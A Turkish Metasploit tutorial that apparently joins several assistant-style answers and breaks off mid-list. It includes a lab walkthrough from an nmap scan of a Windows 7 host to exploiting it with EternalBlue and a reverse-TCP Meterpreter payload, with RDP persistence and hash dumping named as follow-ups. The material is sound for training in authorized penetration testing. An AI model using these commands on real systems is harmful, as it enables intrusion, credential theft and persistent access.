Metasploit Framework Giriş Nedir, Nasıl Kullanılır, Temel Komutlar
Metasploit Framework, siber güvenlik dünyasında en yaygın kullanılan penetrasyon testi (Pentest) ve güvenlik doğrulama platformlarından biridir. Güvenlik uzmanları, sistem yöneticileri ve etik hackerlar tarafından sistemlerdeki güvenlik açıklarını tespit etmek, doğrulamak ve raporlamak amacıyla kullanılır.
Önemli Not: Metasploit yalnızca yetkili olduğunuz sistemlerde kullanılmalıdır. İzinsiz kullanım birçok ülkede yasa dışıdır.
İçindekiler
Metasploit Framework Nedir?
Metasploit'in Tarihçesi
Metasploit Mimarisi
Kurulum
Arayüzler
Temel Komutlar
Modüller
Payload Kavramı
Auxiliary Modülleri
Post Exploitation
Meterpreter
Veritabanı Kullanımı
Workspace Yönetimi
Loot ve Raporlama
Resource Scriptleri
En İyi Uygulamalar
Gerçek Pentest Süreci İçerisindeki Yeri
1. Metasploit Framework Nedir?
Metasploit Framework;
Güvenlik açıklarını doğrulamak
Sistem güvenliğini test etmek
Penetrasyon testleri gerçekleştirmek
Güvenlik araştırmaları yapmak
amacıyla geliştirilmiş açık kaynaklı bir platformdur.
Geliştiricisi:
H. D. Moore
İlk sürüm:
2003
Günümüzde:
Rapid7 tarafından geliştirilmektedir.
2. Metasploit'in Tarihçesi
2003
Perl dili ile yazıldı.
2007
Ruby diline taşındı.
2009
Rapid7 tarafından satın alındı.
Günümüz
Binlerce exploit
Binlerce payload
Sürekli güncellenen modül havuzu
ile dünyanın en popüler pentest araçlarından biri haline geldi.
3. Metasploit Mimarisi
Metasploit 5 temel bileşenden oluşur:
Exploit
Hedefteki güvenlik açığını kullanmaya yarayan kod.
Örnek:
exploit/windows/smb/ms17_010_eternalblue
Payload
Exploit başarılı olursa çalıştırılacak kod.
Örnek:
windows/meterpreter/reverse_tcp
Auxiliary
Tarama ve bilgi toplama modülleri.
Örnek:
auxiliary/scanner/smb/smb_version
Encoder
Payload'ların dönüştürülmesi için kullanılır.
Post
Sızma sonrası işlemler.
Örnek:
post/windows/gather/hashdump
4. Kurulum
Kali Linux
Metasploit genellikle hazır gelir.
Kontrol:
msfconsole
Versiyon:
msfconsole --version
Ubuntu
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb -o msfinstallchmod +x msfinstallsudo ./msfinstall
5. Metasploit Arayüzleri
msfconsole
En yaygın kullanılan arayüz.
msfconsole
msfvenom
Payload üretme aracı.
msfvenom
msfrpc
API erişimi sağlar.
Armitage
Grafiksel arayüz.
6. Temel Komutlar
Yardım
help
veya
?
Modül Arama
search smb
Örnek çıktı:
exploit/windows/smb/...auxiliary/scanner/smb/...
Modül Seçme
use auxiliary/scanner/smb/smb_version
Bilgi Görüntüleme
info
Örnek bilgiler:
Açıklama
Referanslar
CVE numarası
Gereksinimler
Parametreleri Görme
show options
Payloadları Görme
show payloads
Hedefleri Görme
show targets
Parametre Ayarlama
set RHOSTS 192.168.1.10
set THREADS 20
Parametre Kontrolü
options
Modülü Çalıştırma
run
veya
exploit
7. Auxiliary Modülleri
Auxiliary modülleri bilgi toplama ve tarama işlemleri için kullanılır.
Örnek:
use auxiliary/scanner/portscan/tcp
Parametre:
set RHOSTS 192.168.1.0/24
Çalıştırma:
run
SMB Sürüm Tespiti
use auxiliary/scanner/smb/smb_versionset RHOSTS 192.168.1.15run
Elde edilen bilgiler:
İşletim sistemi
SMB sürümü
Domain bilgileri
8. Payload Kavramı
Payload, exploit başarılı olduktan sonra çalıştırılacak koddur.
Türleri
Singles
Tek aşamalı.
Örnek:
windows/shell_bind_tcp
Stagers
İlk bağlantıyı kurar.
Örnek:
reverse_tcp
Stages
İkinci aşama yüklenir.
Örnek:
meterpreter
9. Meterpreter Nedir?
Meterpreter, Metasploit'in gelişmiş bellek içi oturumudur.
Avantajları:
Disk üzerinde dosya bırakmaz
Şifre dökümleri alabilir
Dosya transferi yapabilir
Sistem bilgisi toplayabilir
Temel Meterpreter Komutları
Sistem bilgisi:
sysinfo
Kullanıcı:
getuid
Ağ bağlantıları:
netstat
Çalışan işlemler:
ps
Dosya yükleme:
upload
Dosya indirme:
download
10. Session Yönetimi
Aktif oturumları görüntüleme:
sessions
Belirli oturuma bağlanma:
sessions -i 1
Oturumu arka plana alma:
background
Oturumu kapatma:
sessions -k 1
11. Workspace Kullanımı
Birden fazla proje yönetmek için kullanılır.
Liste:
workspace
Oluştur:
workspace pentest2026
Geçiş:
workspace pentest2026
12. Veritabanı Kullanımı
Başlatma:
db_status
Host ekleme:
hosts
Servisleri görüntüleme:
services
Bulunan zafiyetler:
vulns
Kimlik bilgileri:
creds
13. Loot Sistemi
Toplanan veriler burada saklanır.
Kontrol:
loot
Örnek:
Konfigürasyon dosyaları
Hashler
Loglar
Sertifikalar
14. Resource Scriptleri
Otomasyon sağlar.
Örnek:
resource scan.rc
scan.rc:
workspace testhostsservicesvulns
15. Loglama ve Raporlama
Log açma:
spool pentest.log
Kapatma:
spool off
Rapor üretme:
db_export report.xml
16. Metasploit'te Sık Kullanılan Komutlar
| Komut | Açıklama |
|---|---|
| help | Yardım |
| search | Modül arama |
| use | Modül seçme |
| info | Modül bilgisi |
| show options | Parametreleri göster |
| show payloads | Payloadları göster |
| set | Parametre ayarla |
| run | Çalıştır |
| exploit | Exploit çalıştır |
| sessions | Oturum yönetimi |
| hosts | Host listesi |
| services | Servis listesi |
| vulns | Zafiyet listesi |
| creds | Kimlik bilgileri |
| loot | Toplanan veriler |
17. Gerçek Bir Pentest Sürecinde Metasploit
Metasploit genellikle şu aşamalarda kullanılır:
Bilgi Toplama↓Port Tarama↓Servis Analizi↓Zafiyet Doğrulama↓Yetki Yükseltme↓Erişim Kontrolü↓Raporlama
Buradaki amaç saldırı yapmak değil, sistemdeki güvenlik açıklarının gerçekten sömürülebilir olup olmadığını kontrollü ve yetkili şekilde doğrulamaktır.
Sonuç
Metasploit Framework, penetrasyon testlerinde standart hâline gelmiş güçlü bir güvenlik doğrulama platformudur. Modüler yapısı sayesinde bilgi toplama, servis analizi, güvenlik açığı doğrulama, oturum yönetimi ve raporlama süreçlerini tek bir çatı altında toplar. Ancak gücü nedeniyle yalnızca izinli laboratuvar ortamlarında veya yetkili testlerde kullanılmalıdır.
Metasploit'i iyi öğrenmek isteyen bir güvenlik uzmanının şu araçlarla birlikte çalışması önerilir:
Bu araçlarla kurulan yasal laboratuvar ortamları, Metasploit'i güvenli ve etik şekilde öğrenmek için en uygun yoldur.
Siber güvenlik eğitimlerinde, özellikle öğrencilerin katıldığı uygulamalı CTF (Capture the Flag) simülasyonlarında ve kapalı laboratuvar ağlarındaki ofansif/defansif senaryoları kurgulamak için Metasploit Framework, sektör standardı bir araçtır.
Metasploit Framework (MSF) Nedir?
Metasploit Framework, bilgisayar sistemleri, ağlar ve uygulamalardaki güvenlik açıklarını bulmak, sömürmek (exploit) ve bu açıkları doğrulamak için kullanılan açık kaynaklı bir sızma testi platformudur. Ruby dili ile yazılmıştır. Yalnızca saldırı amacıyla değil, aynı zamanda sistemlerin güvenliğini test etmek ve güvenlik yamalarının işe yarayıp yaramadığını kontrol etmek amacıyla (defansif) da yoğun olarak kullanılır.
Temel Modül Mimarisi
Metasploit'in gücü, modüler yapısından gelir. Farklı amaçlar için özelleştirilmiş modüller bir arada çalışarak karmaşık test senaryolarının kolayca uygulanmasını sağlar.
| Modül Tipi | Açıklama | Kullanım Amacı |
| Exploit | Hedef sistemdeki bir güvenlik açığını (zafiyeti) kullanarak sisteme giriş yapmayı sağlayan kod parçasıdır. | Açık portlardan veya yazılım hatalarından içeri sızmak. |
| Payload | Exploit başarılı olduktan sonra hedef sistemde çalıştırılacak olan asıl komut veya koddur. | Uzaktan erişim (Meterpreter) sağlamak veya komut satırı açmak. |
| Auxiliary | Sisteme sızmayı amaçlamayan; tarama, bilgi toplama (fuzzing), port keşfi veya DoS testleri yapan modüllerdir. | Hedef hakkında bilgi toplamak (Örn: açık SSH portlarını bulmak). |
| Encoder | Payload'ları güvenlik duvarlarından (Firewall) veya Antivirüs (IDS/IPS) sistemlerinden gizlemek için şifreleyen modüllerdir. | Tespit edilmekten kaçınmak. |
| Post | Hedef sisteme başarıyla sızıldıktan sonra ayrıcalık yükseltme, veri toplama veya kalıcılık sağlama işlemleri için kullanılır. | Sistemde kalıcı olmak veya admin yetkilerine ulaşmak. |
Metasploit Nasıl Kullanılır? (Adım Adım Temel Akış)
Pardus veya benzeri Linux dağıtımlarında, Cinnamon gibi masaüstü ortamlarının sunduğu güçlü terminal altyapısı üzerinden Metasploit konsolunu başlatarak işlemlere hızlıca geçiş yapabilirsiniz. Temel bir sızma testi senaryosu genellikle şu adımları izler:
1. Veritabanını Başlatma ve Konsola Giriş
Metasploit'in aramaları hızlı yapabilmesi için PostgreSQL veritabanı ile çalışması önerilir. Terminal üzerinden şu komutlarla başlatılır:
systemctl start postgresql
msfdb init
msfconsole
2. Bilgi Toplama ve Zafiyet Arama
Hedefteki zafiyeti biliyorsanız (örneğin eski bir Windows SMB açığı), ilgili exploit'i aramak için search komutu kullanılır.
search type:exploit name:eternalblue
3. İlgili Modülü Seçme
Kullanmak istediğiniz modülü bulduğunuzda use komutu ile aktif hale getirirsiniz.
use exploit/windows/smb/ms17_010_eternalblue
4. Parametreleri Yapılandırma
Seçilen modülün çalışması için hedef IP adresi, kendi IP adresiniz ve portlar gibi bilgilerin girilmesi gerekir. Nelerin gerekli olduğunu görmek için:
show options
Gerekli parametreleri atamak için set komutu kullanılır:
set RHOSTS 192.168.1.50(Hedef IP adresi)
set LHOST 192.168.1.10(Saldırgan IP adresi)
5. Payload Belirleme (İsteğe Bağlı)
Varsayılan payload dışında bir erişim yöntemi isterseniz bunu da ayarlayabilirsiniz:
set payload windows/x64/meterpreter/reverse_tcp
6. Çalıştırma
Tüm ayarlar tamamlandıktan sonra exploit'i hedefe fırlatmak için:
exploit(veyarun)
En Sık Kullanılan Temel Komutlar Referansı
help/?: Kullanabileceğiniz tüm komutları ve açıklamalarını listeler.info: Seçili olan modül hakkında (yazarı, zafiyetin detayları, referans linkleri) detaylı bilgi verir.show targets: Seçili exploit'in hangi işletim sistemi sürümlerinde veya yapılandırmalarında çalıştığını listeler.sessions: Başarılı olan sızmalar sonucunda arka planda açılan oturumları (Meterpreter shell vb.) listeler ve yönetir. Örneğinsessions -i 1ile 1 numaralı oturuma geçiş yapılır.back: Aktif olarak seçili olan modülden çıkarak ana dizine (msf6 >) geri döner.
Güvenlik ve Etik Sınırlar
Metasploit, doğası gereği son derece keskin bir araçtır. Kurumsal ağlarda, bilgisayar laboratuvarlarında veya sunucu altyapılarında yetkisiz kullanım yasa dışıdır. Sistemlerin dayanıklılığını ölçmek ve yapılandırma hatalarını tespit etmek için daima yazılı izinli hedeflerde veya kapalı test ortamlarında kullanılmalıdır.
Bu komut, hedef sistem hakkında olabildiğince hızlı ve detaylı bilgi toplamak için tasarlanmış, son derece agresif ve gürültülü bir Nmap (Network Mapper) taramasıdır.
Zamanın kısıtlı olduğu CTF (Capture the Flag) senaryolarında, kapalı laboratuvar eğitimlerinde veya hedef ağda herhangi bir güvenlik duvarı/IDS (Saldırı Tespit Sistemi) atlatma kaygısının olmadığı durumlarda ilk keşif (recon) adımı olarak sıklıkla kullanılır.
Komutun parametrelerini adım adım inceleyelim:
Komutun Parçaları ve Anlamları
nmapAğ tarama, port keşfi ve zafiyet tespiti için kullanılan temel aracın kendisidir.-sCV(Aynı zamanda-sCve-sVnin birleşimidir)-sC(Script Scan): Nmap'in varsayılan NSE (Nmap Scripting Engine) scriptlerini çalıştırır. Hedefteki açık portlarda bilinen temel zafiyetleri, anonim FTP girişlerini veya varsayılan yapılandırma hatalarını otomatik olarak kontrol eder.-sV(Version Detection): Açık olarak tespit edilen portların arkasında hangi servisin (örneğin Apache, SSH, SMB) ve bu servisin hangi sürümünün çalıştığını bulmaya çalışır. Zafiyet (exploit) ararken en çok ihtiyaç duyulan bilgidir.
-p-(Tüm Portları Tara) Nmap varsayılan olarak sadece en popüler 1000 portu tarar.-p-parametresi, taramanın kapsamını genişleterek 1'den 65535'e kadar olan tüm mantıksal TCP portlarının taranmasını zorunlu kılar. Gözden kaçabilecek gizli veya standart dışı servisleri bulmak için kritiktir.-T5(Zamanlama Şablonu: Insane) Nmap'in zamanlama ayarlarından en agresif ve hızlı olanıdır (T0'dan T5'e kadar gider). Paketler arasındaki bekleme süresini minimuma indirir. Çok hızlıdır ancak ağ bağlantısı mükemmel değilse paket kayıplarına yol açabilir ve açık portları atlayabilir. Ayrıca ağ trafiğini izleyen her türlü güvenlik sistemi tarafından anında tespit edilir.--min-rate 5000(Minimum Paket Gönderim Hızı) Taramanın süresini daha da kısaltmak için Nmap'e saniyede en az 5000 paket göndermesini emreder.-T5ile birleştiğinde bu, hedef sunucuya ve aradaki ağ cihazlarına ciddi bir yük bindirir. Eski veya zayıf donanımlı cihazlarda geçici servis dışı bırakma (DoS) etkisine bile neden olabilir.10.113.191.111Taramanın gerçekleştirildiği hedef makinenin IP adresidir.
Özetle Ne Yapıyor?
Bu komut Nmap'e şunu söyler: "10.113.191.111 IP adresindeki makinenin var olan tüm portlarını (65535) en agresif hızda, saniyede en az 5000 paket atarak tara. Açık bir port bulduğunda orada hangi servisin/versiyonun çalıştığını tespit et ve üzerine temel güvenlik testlerini (script'leri) çalıştır. Yakalanıp yakalanmamak umurumda değil, bana sonucu en hızlı şekilde getir."
Çalıştırdığınız agresif taramanın sonuçları hedefe dair oldukça net ve zafiyet avcılığı açısından "nokta atışı" bilgiler sunuyor. Önceki konuşmamızda bahsettiğimiz -T5 ve 5000 paket hızının yan etkilerini de bu çıktıda doğrudan görebiliyoruz.
Elde edilen sonuçları, sızma testi ve sistem analizi perspektifinden adım adım inceleyelim:
1. Genel Hedef Profili
İşletim Sistemi: Hedef makine kesin olarak Windows 7 Professional 7601 Service Pack 1 (SP1) çalıştırıyor. Bu, siber güvenlik açısından çok kritik bir detaydır çünkü bu işletim sistemi artık Microsoft'tan güvenlik güncellemesi almıyor.
Makine ve Ağ Adı: Bilgisayarın adı
Jon-PC, bağlı olduğu çalışma grubu iseWORKGROUP.Altyapı: Makinenin ters DNS kaydı (
ip-10-113-191-111.eu-central-1.compute.internal) ve gecikme süresinin çok düşük olması (0.00038s), hedefin AWS (Amazon Web Services) Frankfurt bölgesinde koşan yerel bir sanal makine (EC2) olduğunu gösteriyor. Aynı alt ağda (subnet) bulunuyorsunuz.
2. Agresif Taramanın Yan Etkileri
Uyarı Mesajı:
Warning: 10.113.191.111 giving up on port because retransmission cap hit (2).Bu satır, kullandığınız yüksek hızlı parametrelerin ağda paket düşmelerine neden olduğunu doğruluyor. Nmap, bazı portlardan cevap alamayınca paketi iki kez daha göndermeyi denemiş, yine cevap alamayınca pes etmiş.
Filtrelenmiş Portlar: Çıktıda görünen
11041/tcp,12015/tcpgibi rastgele yüksek portların "filtered" (filtrelenmiş) olarak görünmesinin sebebi büyük ihtimalle hedefteki bir güvenlik duvarı değil, taramanın aşırı hızı yüzünden hedefin veya aradaki ağ cihazının paketleri düşürmesidir (DoS etkisi).
3. Açık Portlar ve Servis Analizi
| Port | Servis | Açıklama ve Güvenlik Durumu |
| 135, 49152-49177 | msrpc | Microsoft'un uzaktan yordam çağrısı (RPC) servisleri. Windows sistemlerde arka plan iletişimleri için standart olarak açıktır. Doğrudan sömürülmesi zordur. |
| 139, 445 | netbios-ssn, microsoft-ds | Hedefteki en zayıf nokta. Dosya ve yazıcı paylaşımı (SMB) portları açık. Nmap'in NSE betikleri, SMB üzerinde Guest (Misafir) hesabının aktif olduğunu ve Message Signing (Mesaj İmzalama) özelliğinin kapalı olduğunu tespit etmiş. Bu, Ortadaki Adam (MitM) saldırılarına kapı aralar. |
| 3389 | tcpwrapped (RDP) | Uzak Masaüstü Protokolü açık. Nmap servisin RDP olduğunu tam okuyamamış (tcpwrapped) ancak arkasındaki SSL sertifikasını çekmeyi başarmış. Sertifikanın kime ait olduğu bölümünde (commonName=Jon-PC) makine adını doğruluyoruz. |
4. CTF ve Ofansif Güvenlik Değerlendirmesi
Öğrenciler için kurgulanan bir siber güvenlik simülasyonunda veya laboratuvar ortamında böyle bir tabloyla karşılaşmak, doğrudan Metasploit Framework'e geçiş yapmak için mükemmel bir başlangıçtır.
Güncelleme almayan bir Windows 7 SP1 ve dışarıya açık bir SMB (Port 445) gördüğünüzde akla gelmesi gereken ilk zafiyet MS17-010 (EternalBlue) olmalıdır.
Bu senaryoda bir sonraki adım olarak Metasploit konsoluna geçip search eternalblue komutu ile ilgili exploit modülünü (örn: exploit/windows/smb/ms17_010_eternalblue) seçmek ve payload olarak windows/x64/meterpreter/reverse_tcp atayarak doğrudan NT AUTHORITY\SYSTEM (en yüksek yetki) seviyesinde hedefe erişim sağlamak hedeflenebilir.
Hedefin RDP (3389) portunun da açık olması, Meterpreter shell elde edildikten sonra sisteme yeni bir kullanıcı ekleyip grafik arayüz üzerinden uzak masaüstü bağlantısı kurarak kalıcılık (persistence) sağlama senaryoları için de uygun bir zemin sunuyor.
Bu çıktı bir Windows 7 hedef sistemine karşı yapılan ayrıntılı bir Nmap servis keşif taramasının sonucudur. Burada yalnızca elde edilen bilgilerin ne anlama geldiğini açıklayacağım; hedefe erişim sağlama, istismar etme veya saldırı adımlarına girmeyeceğim.
Kullanılan Komutun Analizi
nmap -sCV -p- -T5 --min-rate 5000 10.113.191.111
Parametreler
-sC
Nmap'in varsayılan NSE (Nmap Scripting Engine) betiklerini çalıştırır.
Örnek:
smb-os-discovery
smb-security-mode
smb2-time
ssl-cert
Bu sayede yalnızca açık portları değil, sistem hakkında ek bilgileri de elde eder.
-sV
Servis sürüm tespiti yapar.
Örneğin:
445/tcp open microsoft-ds Windows 7 Professional 7601 SP1
bilgisi -sV sayesinde elde edilmiştir.
-p-
Tüm TCP portlarını tarar.
Normalde:
nmap hedef
1000 yaygın portu tarar.
Burada:
-p-
kullanıldığı için:
1-65535
arasındaki tüm TCP portları kontrol edilmiştir.
-T5
En agresif zamanlama profili.
Seviyeler:
T0 = ParanoidT1 = SneakyT2 = PoliteT3 = NormalT4 = AggressiveT5 = Insane
Amaç:
Daha hızlı tarama
Daha az bekleme süresi
Dezavantaj:
Bazı paketler kaçabilir
Yanlış sonuçlar oluşabilir
--min-rate 5000
Nmap'e:
Saniyede en az 5000 paket gönder
demektir.
Bu nedenle tarama oldukça hızlı tamamlanmıştır.
İlk Satırlar
Host is up (0.00038s latency)
Hedef sistem erişilebilir.
Gecikme:
0.38 ms
Çok düşük.
Bu genellikle:
Aynı ağ
Aynı laboratuvar
Aynı sanal ağ
olduğunu gösterir.
Kapalı Portlar
Not shown: 65515 closed tcp ports (reset)
65535 portun:
65515 tanesi kapalı
olarak dönmüştür.
Yalnızca birkaç port açık kalmıştır.
Açık Portların Analizi
Port 135
135/tcp open msrpc
Microsoft RPC
Windows'un temel servislerinden biridir.
Görevleri:
Uzaktan yönetim
DCOM
WMI
RPC hizmetleri
Port 139
139/tcp open netbios-ssn
NetBIOS Session Service
Eski Windows dosya paylaşım protokolü.
Genellikle:
SMB over NetBIOS
olarak çalışır.
Port 445
445/tcp open microsoft-ds
En önemli portlardan biridir.
SMB servisi çalışıyor.
SMB:
Server Message Block
Dosya paylaşımı için kullanılır.
Nmap'in Tespit Ettikleri
Windows 7 Professional
Service Pack 1
WORKGROUP
Bilgileri SMB üzerinden alınmıştır.
Port 3389
3389/tcp open tcpwrapped
Bu port genellikle:
RDP
(Remote Desktop Protocol)
içindir.
SSL Sertifikası
commonName=Jon-PC
Bilgisayar adı:
Jon-PC
olarak doğrulanmış.
RPC Dinamik Portları
4915249153491544916049177
Hepsi:
Microsoft Windows RPC
olarak tanımlanmış.
Windows'ta RPC servisleri yüksek numaralı dinamik portlar açar.
Bu tamamen normaldir.
Filtered Portlar
Örnek:
11041/tcp filtered
Anlamı:
Nmap bu porttan cevap alamamış.
Muhtemel sebepler:
Güvenlik duvarı
ACL
Paket filtreleme
SMB Bilgileri
smb-security-mode
account_used: guest
Misafir hesabı kullanılarak bazı bilgiler elde edilmiş.
challenge_response
supported
SMB Challenge Response destekleniyor.
Message Signing
message_signing: disabled
Bu önemli bir güvenlik bilgisidir.
Anlamı:
SMB paket bütünlüğü zorunlu değil.
Kurumsal ortamlarda genellikle etkin olması tercih edilir.
SMB2 Security
Message signing enabled but not required
SMB2 imzalama özelliği mevcut.
Ancak istemciler için zorunlu tutulmamış.
SMB İşletim Sistemi Keşfi
OS: Windows 7 Professional 7601 Service Pack 1
Oldukça ayrıntılı bilgi elde edilmiş.
Ayrıca:
Computer name: Jon-PC
Workgroup: WORKGROUP
tespit edilmiş.
NetBIOS Bilgileri
JON-PC
NetBIOS adı bulunmuş.
Bu bilgi ağ envanteri oluştururken faydalıdır.
Saat Bilgileri
System time:2026-06-16T09:42:05-05:00
Makinenin yerel saati.
Bu bilgi:
Log analizlerinde
Olay korelasyonunda
önemlidir.
Service Info Bölümü
Host: JON-PC
Makine adı.
OS: Windows
İşletim sistemi ailesi.
CPE:cpe:/o:microsoft:windows
Standartlaştırılmış işletim sistemi tanımıdır.
Bu Taramadan Çıkarılabilecek Sonuçlar
Tespit edilen bilgiler:
✅ Sistem çalışıyor
✅ Windows 7 Professional SP1
✅ Bilgisayar adı: JON-PC
✅ SMB aktif
✅ NetBIOS aktif
✅ RPC aktif
✅ RDP aktif görünüyor
✅ Çalışma grubu: WORKGROUP
✅ SMB imzalama zorunlu değil
✅ Dinamik RPC portları mevcut
Bir Siber Güvenlik Uzmanının Bu Çıktıya Bakınca İlk Dikkatini Çekenler
İşletim sistemi:
Windows 7 SP1
Destek süresi sona ermiş eski bir işletim sistemi.
SMB servisi:
445/tcp
açık.
SMB signing:
disabled
olarak raporlanmış.
RDP:
3389/tcp
erişilebilir durumda.
Makine adı:
JON-PC
elde edilmiş.
Workgroup:
WORKGROUP
yani domain ortamında görünmüyor.
Bu nedenle çıktı, ağ keşfi ve envanter çıkarma açısından oldukça zengin bilgiler sunmaktadır. Ancak tek başına bu sonuçlar herhangi bir güvenlik açığının varlığını veya sömürülebilir olduğunu kanıtlamaz; bunun için yetkili güvenlik değerlendirmelerinde ek doğrulama yapılması gerekir.
Metasploit Framework içerisinde kullandığınız session -l (veya daha yaygın kullanımıyla sessions / sessions -l) komutu, arka planda başarıyla açılmış ve aktif durumda olan tüm oturumları (bağlantıları) listelemek için kullanılır.
Bir hedef sisteme başarılı bir exploit gönderdiğinizde ve payload (örneğin Meterpreter) hedefte çalıştığında, hedef sistem sizin Metasploit konsolunuzla bir bağlantı kurar. Bu bağlantıların her birine bir "Oturum" (Session) adı ve bir kimlik numarası (ID) verilir.
Komutun Çıktısı Neye Benzer?
Bu komutu çalıştırdığınızda, Metasploit size aşağıdaki gibi yapılandırılmış bir tablo sunar:
Plaintext
msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\SYSTEM @ JON-PC 192.168.1.10:4444 -> 10.113.191.111:49158 (10.113.191.111)
2 shell cmd/unix uid=0, gid=0, euid=0, egid=0 192.168.1.10:4444 -> 192.168.1.55:38912 (192.168.1.55)
Tablodaki Sütunların Anlamları
Id (Oturum Numarası): O bağlantıya atanan benzersiz kimlik numarasıdır. Bağlantıya geçiş yapmak için bu numarayı kullanırsınız.
Name (İsim): İsteğe bağlı olarak oturuma atadığınız özel bir isimdir (genelde boş kalır).
Type (Bağlantı Türü): Açılan oturumun türünü belirtir. En sık karşılaşılanlar meterpreter (gelişmiş bellek içi payload) ve shell (standart komut satırı - cmd/bash) türleridir.
Information (Bilgi): Bağlantı kurulan hedefteki kullanıcı haklarını ve makine adını gösterir. Örneğin NT AUTHORITY\SYSTEM sistemdeki en yetkili kullanıcı olduğunuzu gösterir.
Connection (Bağlantı): Trafiğin nereden nereye aktığını (Sizin IP'niz ve Portunuz -> Hedef IP ve Port) gösterir.
Listeledikten Sonra Ne Yapılır?
Aktif oturumları listeledikten sonra, Id numarasını kullanarak istediğiniz hedefin içine sızabilirsiniz. Bunun için interact (etkileşime gir) anlamına gelen -i parametresi kullanılır.
Örneğin, listedeki 1 numaralı Meterpreter oturumuna geçiş yapmak için:
Bash
msf6 > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Bu komutu girdikten sonra artık hedef sistemin içinde (örneğin önceki tarama çıktınızdaki Jon-PC makinesinde) komut çalıştırmaya başlayabilirsiniz. Aktif oturumdan çıkıp tekrar Metasploit ana menüsüne dönmek isterseniz background komutunu veya CTRL+Z kısayolunu kullanabilirsiniz; bu işlem oturumu kapatmaz, sadece arka plana atarak listeye geri döndürür.
Metasploit Framework içerisinde show exploits komutu, sistemde yüklü olan tüm sömürü (exploit) modüllerini liste halinde ekrana dökmek için kullanılır.
Ancak laboratuvar ortamlarında veya gerçek saha operasyonlarında bu komutu tek başına çalıştırmak pratik değildir.
Neden show exploits Yerine search Kullanılmalı?
Güncel bir Metasploit sürümünde 2000'den fazla exploit bulunur. Sadece show exploits yazıp Enter'a basarsanız, terminaliniz dakikalarca kayan devasa bir listeyle dolar ve aradığınız spesifik bir modülü bulmanız görsel olarak imkansız hale gelir.
Bunun yerine, sızma testi uzmanları ve CTF oyuncuları search komutunu akıllı filtrelerle birlikte kullanarak nokta atışı aramalar yaparlar.
search Komutu ile Etkili Exploit Arama Yöntemleri
Bir önceki Nmap tarama sonucumuzda hedefimizin (Jon-PC) Windows 7 SP1 olduğunu ve 445 (SMB) portunun zafiyet barındırabileceğini tespit etmiştik. Bu senaryoya uygun exploitleri bulmak için aşağıdaki filtreleme yöntemlerini kullanabilirsiniz:
1. İsme veya Anahtar Kelimeye Göre Arama:
Eğer aradığınız zafiyetin bilinen adını (örneğin EternalBlue) veya hedefin servisini (smb) biliyorsanız:
search name:eternalblue
search smb
2. Modül Tipine ve Platforma Göre Arama (Filtreleri Birleştirme):
Aramayı sadece "Windows" işletim sistemleri ve sadece "exploit" modülleri ile sınırlandırmak isterseniz:
search type:exploit platform:windows smb
3. CVE (Ortak Güvenlik Açıkları) Koduna Göre Arama:
Eğer Nmap veya Nessus gibi bir araç size spesifik bir zafiyet kodu (Örn: MS17-010 veya CVE-2017-0144) verdiyse, doğrudan bunu aratabilirsiniz:
search cve:2017-0144
Arama Çıktısı Nasıl Okunur?
search komutunu kullandığınızda karşınıza yapılandırılmış bir tablo çıkar:
Plaintext
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
Bu tablodaki en kritik iki sütun şunlardır:
Rank (Güvenilirlik Seviyesi): Exploit'in hedef sistemde ne kadar stabil çalıştığını gösterir (Excellent, Great, Good, Normal, Average, Manual). "Excellent" ve "Great" derecesine sahip modüller, hedef sistemi mavi ekrana (BSOD) düşürmeden veya çökertmeden sızma ihtimali en yüksek olan güvenilir araçlardır.
Check (Kontrol Mekanizması): Eğer bu sütunda Yes yazıyorsa, modülü seçtikten sonra doğrudan exploit yazmak yerine check komutunu çalıştırabilirsiniz. Bu sayede Metasploit, hedefe zarar vermeden veya alarm çaldırmadan önce "Bu sistem gerçekten bu zafiyete sahip mi?" diye sessiz bir kontrol yapar.
Modülü Seçmek ve İlerlemek
İstediğiniz exploiti bulduğunuzda, en sol sütundaki numarasını veya tam yolunu kullanarak aktif hale getirebilirsiniz:
use 0
veya > use exploit/windows/smb/ms17_010_eternalblue
Bu aşamadan sonra konsolunuz msf6 exploit(...) > şeklinde değişecek ve show options komutunu kullanarak hedef IP (RHOSTS) gibi gerekli parametreleri atamaya başlayabileceksiniz.
Metasploit Framework içerisinde show payloads komutu, sistemde yüklü olan tüm zararlı yükleri (payload) listelemek için kullanılır. Tıpkı show exploits komutunda olduğu gibi, bu komutu da ana dizinde (msf6 >) tek başına çalıştırırsanız binlerce satırlık bir liste ile karşılaşırsınız.
Ancak show payloads komutunun asıl gücü, bir exploit seçtikten sonra ortaya çıkar.
"Bağlama Duyarlı" (Context-Aware) Listeleme
Siber güvenlik testlerinde en sık yapılan hatalardan biri, seçilen sömürü koduna (exploit) uygun olmayan bir payload belirlemektir (Örneğin, 64-bit bir Windows zafiyetine 32-bit Linux payload'u atamaya çalışmak).
Metasploit bu durumu önlemek için harika bir filtreleme mekanizmasına sahiptir. Bir exploit modülünün içine girdikten sonra show payloads komutunu çalıştırırsanız, Metasploit size sistemdeki tüm yükleri değil, sadece o an seçili olan exploite ve hedefin mimarisine uygun olan yükleri listeler.
Örnek Senaryo:
Plaintext
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads
Bu noktada listelenen payload'lar, sadece EternalBlue zafiyeti ile uyumlu çalışabilecek, Windows x64 mimarisine uygun payload'lar olacaktır.
Payload İsimlendirme Mimarisi (Neye Göre Seçilir?)
Listeye baktığınızda (veya search type:payload ile arama yaptığınızda) payload isimlerinin belirli bir mantığa göre klasörlendiğini görürsünüz. İsimlendirme mimarisi genel olarak şu şekildedir: <işletim_sistemi>/<mimari>/<payload_türü>/<iletişim_yöntemi>
Payload'lar çalışma mantıklarına göre üç ana kategoriye ayrılır. Listeden seçim yaparken bu farkı bilmek kritik önem taşır:
1. Singles (Tekil Yükler)
